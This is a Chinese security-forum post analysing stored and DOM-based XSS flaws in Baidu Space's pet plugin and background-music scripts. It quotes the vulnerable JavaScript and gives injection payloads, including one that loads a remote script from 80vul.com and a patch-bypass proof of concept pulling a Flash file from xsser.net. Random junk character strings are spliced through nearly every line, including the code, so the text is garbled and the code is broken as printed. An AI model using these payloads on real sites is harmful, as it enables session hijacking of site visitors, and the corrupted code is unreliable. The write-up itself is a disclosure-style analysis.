中国网络渗透测试联盟

标题: hi.baidu Xss 漏洞 [打印本页]

作者: admin    时间: 2013-8-24 11:51
标题: hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
% T7 I$ A8 H5 c! b# C
: d1 R2 d& u8 w8 H1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  ( _" s, t8 T8 g0 l+ C2 P4 \) z4 w! _
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  ) ~- c: v2 V' R2 C' i

/ g0 f; S, W$ P+ m, I将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  ' l/ J% H) Q) W2 ^
其中BdUtil.insertWBR为  7 V) _2 ?& [3 r& g9 l3 r
function(text, step) {  
6 ?0 t$ U" ^# E- m. e, |    var textarea = textAreaCache || getContainer();  
( H& @  l  |. M8 `7 j( q5 ^    if (!textarea) {  
' h& i8 g+ O* T% R, ]0 k        return text;  
/ ^% ?0 a; {( K! |# n* k    }  
! {. c" ~8 z* ?( o/ }5 B/ x+ A$ {! g- v    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  ' V$ S  s3 Y' z& I& [: i. |
    var string = textarea.value;  5 Q% Z# C1 k: S/ Q
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  6 r3 A- I% d* _% Q  K
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
. g4 j. l- Z5 v6 [, s0 R    return result;  / y# u8 b+ ?* j* D' c
}  
- F) ?' x4 N2 E$ _) j在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  0 ?8 w9 m; f. S
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
- d( _0 U1 s+ e# V2 K   
3 Y  P; W4 |$ x二:creatbgmusic() Dom-Xss Bug  
5 N  i2 d& ^' S百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  6 C( j/ v6 [9 I9 e; F

$ ?) W) W4 v6 C/ _0 yhttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  ; _9 n4 @* V6 N8 H/ q# B2 v
5 `# Q$ ~, q3 ~; Z; m
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  7 P- C3 Y/ W1 m4 y8 [
    //传入的murl赋值到bgmusic1和bgmusic2中  ' ?9 X: h7 G# W/ \4 ?7 C
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  0 U0 b( g' |, f: k
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
! ]; ]; |' {4 l8 b6 l8 R" a    if (musicnum <= 1) {  * k) d  J5 x! `5 v4 O# T+ u; s
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
) O; V4 w! B- ~3 E  |+ \    }  ! ^5 R) M2 `  l( j, v% E
    bgmusic1 += "</OBJECT>";  ' L' ?$ }7 d- i" [* k
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  $ L, J* l3 o6 C) l- u4 _, W
    if (musicnum <= 1) {  
0 W# @& F8 I/ Z' ?4 P( Y2 A8 ^        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
( q2 v7 \/ X  ^2 q    }  
- e( n! _7 t, \; C- O' S. M0 t, F    bgmusic2 += "> </EMBED>";  
; \3 ?7 N, H) Q* I    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  7 {; F+ _# g- `# T
    var bgmus = detectWMP();  
" C! q  }- e* O& y4 ]- S' |    if (functype == "FckMusicHelper") {  $ D8 c) X8 ~7 n% D3 `( M* i
        if (bgmus.installed) {    f7 v( B+ q, f
            if (bgmus.type == "IE") {  
) }6 h) x3 u/ O4 W/ r( m: H                return bgmusic1;  ( F7 [6 @( [: f7 a+ [
            } else if (bgmus.type == "NS") {  
. z, o4 V: A+ ~& C5 v, g0 E                return bgmusic2;  0 l# d6 S; i/ R
            }  
- \2 J2 v$ h4 Q  r: q        } else {  
6 f9 X; Z0 F, c3 k3 t" |            return bgmusic3;  
6 H6 J; Z: L) [" a- j* ]% Y        }  1 [- T& }) I$ N
    } else {  * O# W" \) f/ U" W7 B( ]/ t
        if (bgmus.installed) {  
7 X8 T1 C) Q% R0 q* m  J" q) @            //document.write 直接输出bgmusic变量 导致xss  
; x  V" o% Z% Q' F) A( z4 l/ f            if (bgmus.type == "IE") {  
& }. d( _% Y! J  s" j, s                document.write(bgmusic1);  5 w4 T4 c, j  F; m) o7 G5 V0 T
            } else if (bgmus.type == "NS") {  
; u8 _! m4 r2 c8 z. g  i                document.write(bgmusic2);  
+ k8 Q6 `" l9 d; n& X# Y0 h            }  
  e( s# p5 R0 g# O1 G' W& K        } else {  * U6 T4 \- v' p0 }$ |% p
            document.write(bgmusic3);  
1 p+ p8 t5 X0 k        }  
3 {7 ~. s; y3 S% L' y5 L; w        return "";  
0 v, H' F0 p* G# j1 C, R" ]    }  
# L- ~: O$ V) P6 ^}  
  Q% V% S# l9 g* v9 b" C
, j' a  K8 m9 w: M在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
9 N0 G4 k4 D& \' x3 G, t
$ f; a5 k: \0 [% i4 Y( N' ^function initBlogTextForFCK(){  ( H; j1 n6 y7 z- U: Q/ {
//fck init music  
, }5 P  f% T, {if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  . u* h2 g: W! G0 ]; Q( \8 r
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
. G; z. \7 [* t4 O. ^+ Nvar isAutoPlay=true;  
. B3 D% f; @7 O7 k* Z5 O( X9 |' Kfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  0 ^3 l: O0 ]4 Y7 Y, c3 ?7 ?
  var img=imgBox;  7 z7 d" X: U. Q3 h6 ^2 [( z
  if(img.getAttribute(’rel’)){        
: y4 ~% }0 P; I. t6 T- J   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
! ~  j8 s4 J  g   var musicDiv = document.createElement("SPAN");  5 Q6 R0 \$ R4 K
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
7 F2 @- O$ P' T* W4 ~     9 l, I' h' J1 |* l! p2 o. O
      ..........................    l  @( W# n& x- u& U
     7 k+ h) _6 U/ v( K0 T6 r
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   0 m" N# W# A" o3 O" S/ [
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
6 S7 r1 x5 S2 O. x   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  7 t, W8 M  A3 L5 B
   musicDiv.innerHTML=shtml;  ! Y8 N: N) Q# Y% q" }' b
   i--;n--;  
4 I; [" \# J$ {* U. T8 o  }  " w; h3 ]/ {2 D! j9 J
}  
, G& a  O3 l9 I/ ]; O- B+ @" `% ~& o1 E7 i/ O0 `- ]
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
$ H3 X/ ]. b+ _/ N) J% G. V   3 I7 {0 A& B7 Z5 ]* g- ?
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  . q3 l8 Z# n- [9 y
* x9 l5 j/ R, ?- ]2 Q1 I" U" x
等待官方补丁  , f) i. J: n4 s# W7 R% O
$ f0 j0 K  l! f& {% U8 h) v
update 2010年5月13日   # i% g4 i( h2 N

0 d1 l9 ~2 w) G7 T& v7 F官方补丁:  4 z9 x* v3 h1 f0 Q# M& G

# c2 \1 q! C' S- s+ Vvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
$ Z# j% d5 B" U9 f0 [; `- p改为:  
4 E" f' @+ ?( avar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
  [" E. B' [1 U- @; L0 w, ^, \' O3 W5 N" H
update 2010年5月13日 21:50:37  
+ D) L, I' E5 d9 S+ j: V/ y
1 L- e. N3 `7 e& B& w补丁存在漏洞 没有过滤" 可以继续跨:  
3 l3 m1 {5 q0 ?( p7 f$ \5 g  T4 L& d5 f$ n& ^  g
NEW POC:  1 z# L: h0 {% @+ f6 o. N) C
8 V  z4 |+ w+ a6 n: t5 g" V
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
/ S/ {  N; Q, {) a
0 R4 A) s/ e$ Q) A7 C8 c  c2 X! p1 oallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
3 {, ^* c, K$ b) J ) N4 V. g: E, ?* d) E6 [





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2